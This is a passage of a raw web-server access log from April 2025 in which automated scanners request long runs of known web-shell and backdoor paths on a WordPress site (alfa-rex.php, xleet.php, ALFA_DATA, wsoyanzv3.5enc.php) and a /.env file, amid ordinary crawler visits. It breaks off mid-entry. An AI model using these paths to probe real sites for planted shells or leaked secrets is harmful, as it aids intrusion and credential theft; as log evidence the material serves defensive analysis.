13.90.215.200 - - [21/Apr/2025:18:15:29 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:29 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:30 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:30 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:30 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:30 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:31 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:31 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:32 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:32 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:32 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:33 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:33 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:33 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:33 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:34 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:34 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:35 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:35 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:35 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:36 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:36 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:37 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:37 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:37 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:38 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:38 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:38 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:39 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:39 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:39 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:39 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:40 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:40 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:40 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:41 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:41 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:41 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:41 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:42 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:42 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:42 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:43 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:43 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:43 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:43 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:44 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:44 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:45 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:45 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:45 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:46 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:46 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:46 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:47 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:47 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:47 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:48 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:48 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:48 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.90.215.200 - - [21/Apr/2025:18:15:49 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 51.79.99.31 - - [21/Apr/2025:18:20:03 -0400] "GET / HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 92.222.171.6 - - [21/Apr/2025:18:28:25 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Avast/131.0.0.0" 51.79.230.129 - - [21/Apr/2025:18:56:19 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 34.219.182.145 - - [21/Apr/2025:19:21:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 46.173.30.224 - - [21/Apr/2025:19:38:48 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 46.173.30.224 - - [21/Apr/2025:19:42:46 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 66.249.79.97 - - [21/Apr/2025:20:08:30 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.79.98 - - [21/Apr/2025:20:08:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 45.141.215.221 - - [21/Apr/2025:20:13:49 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.35 Safari/537.36" 162.0.232.217 - - [21/Apr/2025:20:14:38 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:14:47 -0400] "GET /.well-known/pki-validation/asyaddpi.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:14:49 -0400] "GET /.well-known/pki-validation/3c2b55bd-fabd-419b-9718-66fbcf89acc5.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:14:51 -0400] "GET /.well-known/pki-validation/65d9b536-ce5f-497e-8c82-8ee66c78d293.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:14:58 -0400] "GET /.well-known/pki-validation/xp.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:14:59 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:15:01 -0400] "GET /.well-known/pki-validation/sxo.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:15:29 -0400] "GET /.well-known/pki-validation/ahzjhofz.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:15:39 -0400] "GET /.well-known/acme-challenge/index_php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:15:41 -0400] "GET /.well-known/pki-validation/class_api.php999 HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [21/Apr/2025:20:15:43 -0400] "GET /.well-known/pki-validation/akrcovxu.php HTTP/1.1" 301 795 "-" "get_local:DCV" 52.16.33.189 - - [21/Apr/2025:20:26:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36" 2600:1900:0:2c00::e00 - - [21/Apr/2025:20:39:53 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.60 Safari/537.36" 4.227.36.83 - - [21/Apr/2025:21:14:18 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 20.171.207.85 - - [21/Apr/2025:21:14:18 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.2; +https://openai.com/gptbot)" 195.191.219.132 - - [21/Apr/2025:21:33:35 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [21/Apr/2025:21:33:38 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [21/Apr/2025:21:33:42 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 195.191.219.132 - - [21/Apr/2025:21:33:43 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.0; http://mj12bot.com/)" 180.110.203.108 - - [21/Apr/2025:21:37:36 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 101.35.214.220 - - [21/Apr/2025:21:50:56 -0400] "GET /README.md HTTP/1.1" 301 795 "http://designpitara.com/README.md" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 101.35.214.220 - - [21/Apr/2025:21:51:02 -0400] "GET /apps/admin/view/default/layui/images/face/11.gif HTTP/1.1" 301 795 "http://designpitara.com/apps/admin/view/default/layui/images/face/11.gif" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 34.219.207.1 - - [21/Apr/2025:22:00:31 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 34.219.207.1 - - [21/Apr/2025:23:06:09 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0 Safari/537.36" 20.57.56.182 - - [21/Apr/2025:23:14:31 -0400] "GET /wp-content/ccx/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:32 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:32 -0400] "GET /wp-content/plugins/pwnd-1/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:32 -0400] "GET /wp-content/plugins/pwnd/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:32 -0400] "GET /wordpress/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:32 -0400] "GET /assets/fonts/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:32 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:33 -0400] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:33 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:33 -0400] "GET /wp-content/uploads/2023/11/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:33 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:33 -0400] "GET /wp-includes/Requests/Text/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:34 -0400] "GET /wp-content/themes/wp-classic/inc/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:34 -0400] "GET /admin/upload/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:34 -0400] "GET /wp-includes.bak/html-api/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:34 -0400] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:34 -0400] "GET /wp-content/plugins/Cache/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:35 -0400] "GET /wp-admin/css/colors/coffee/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:35 -0400] "GET /wp-admin/js//wp-admin/js/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:35 -0400] "GET /wp/wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:35 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:35 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:35 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:36 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:36 -0400] "GET /wp-content/plugins/backup-backup/includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:36 -0400] "GET /filemanager/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:36 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:37 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:37 -0400] "GET /wp-content/plugins/envato-market/inc/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:37 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:37 -0400] "GET /wp-content/themes/twentyfive/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:37 -0400] "GET /wp-content/themes/travel/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:37 -0400] "GET /wp-content/plugins/core/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:38 -0400] "GET /img/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:38 -0400] "GET /wp-content/plugins/contact-form-7/includes/js/jquery-ui/themes/smoothness/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:38 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:39 -0400] "GET /wp-content/plugins/seoo/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:39 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:39 -0400] "GET /wp-includes/fonts/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:39 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:39 -0400] "GET /wp-content/plugins/widget-logic/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:39 -0400] "GET /wp-includes/js/tinymce/langs/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:40 -0400] "GET /wp-includes//wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:40 -0400] "GET /wp-content/plugins/wp-hps/sh/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:40 -0400] "GET /wp-content/plugins/masterx/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:40 -0400] "GET /wp-content/plugins/custom/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:40 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:41 -0400] "GET /wp-content/plugins/yyobang/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:41 -0400] "GET /libraries/vendor/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:41 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:41 -0400] "GET /wp-content/blogs.dir/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:41 -0400] "GET /libraries/legacy/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:41 -0400] "GET /wp-content/uploads/2018/03/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:42 -0400] "GET /wp-content/plugins/press/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:42 -0400] "GET /libraries/phpmailer/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:42 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:42 -0400] "GET /wp-content/plugins/apikey/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:42 -0400] "GET /wp-content/banners/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:42 -0400] "GET /.wp-cli/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:43 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:43 -0400] "GET /wp-content/plugins/background-image-cropper/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:43 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:43 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:43 -0400] "GET /assets/images/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:44 -0400] "GET /wp-content/plugins/instabuilder2/cache/plugins/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:44 -0400] "GET /.well-known//.well-known/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:44 -0400] "GET /wp-includes/blocks/table/int/tmpl/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:44 -0400] "GET /wp-includes/js/jcrop/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:44 -0400] "GET /wp-includes/js/crop/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:44 -0400] "GET /wp/wp-admin/includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:45 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:45 -0400] "GET /wp-includes/js/dist/vendor/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:45 -0400] "GET /wp-content/themes/twentyseventeen/page/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:45 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:45 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:46 -0400] "GET /wp-content/uploads/2014/03/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:46 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:46 -0400] "GET /.tmb/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:46 -0400] "GET /docs/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:46 -0400] "GET /wp-content/plugins/dzs-zoomsounds/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:46 -0400] "GET /wp-content/themes/ccx/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:47 -0400] "GET /wp-content/themes/travelscape/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:47 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:47 -0400] "GET /wp-includes/Text/wp-login.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:47 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:47 -0400] "GET /wp-admin/maint/layout.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:48 -0400] "GET /wp-content/plugins/dmZcq9yohpy9bCw5Q9fNaH/src/ui/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:48 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:48 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:48 -0400] "GET /wp-admin/css/file.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:48 -0400] "GET /wp-includes/ID3/2.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:49 -0400] "GET /gebase.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:49 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:49 -0400] "GET /cgi-bin/160263/wsoyanzv3.5enc.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:49 -0400] "GET /cux.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:49 -0400] "GET /wp-includes/fonts/install.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:50 -0400] "GET /wp-includes/PHPMailer/Send.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:50 -0400] "GET /wp-includes/pomo/pomo.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:50 -0400] "GET /.well-known/idupkfqa.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:50 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:50 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:51 -0400] "GET /wp-content/uploads/wpr-addons/forms/63490fd7e6.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:51 -0400] "GET /wp-includes/html-api/aj.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:51 -0400] "GET /class.api.php999 HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:51 -0400] "GET /autoload_classmap/function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:51 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:52 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:52 -0400] "GET /wp-content/wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:52 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:52 -0400] "GET /wp-includes/wp-includes_function.php HTTP/1.1" 301 795 "-" "-" 20.57.56.182 - - [21/Apr/2025:23:14:52 -0400] "GET 